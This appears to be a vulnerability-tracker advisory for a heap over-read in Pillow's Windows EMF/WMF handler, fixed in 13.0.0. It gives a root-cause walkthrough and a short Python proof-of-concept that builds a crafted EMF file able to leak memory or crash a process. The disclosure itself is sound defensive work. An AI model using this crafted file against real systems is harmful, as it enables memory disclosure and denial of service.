Live › vulnerability › CVE-2026-96644
Go to dashboardPillow on Windows builds mishandles EMF and WMF image dimensions, so a crafted metafile that passes the decompression-bomb pixel check causes a heap buffer over-read in the native drawwmf handler. An attacker who gets a victim to open a malicious EMF or WMF file can leak heap memory or crash the process.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| Pillow | pypi | < 13.0.0 | 13.0.0 |
13.0.013.0.0 or later (pip install -U "pillow>=13.0.0")Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
src/display.c:793-794 assign the 16-bit fieldssrc/display.c:800 sizes the allocation from themsrc/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full valuesThe whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
This page as .md · .json · in your agent: get_signal("CVE-2026-96644")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.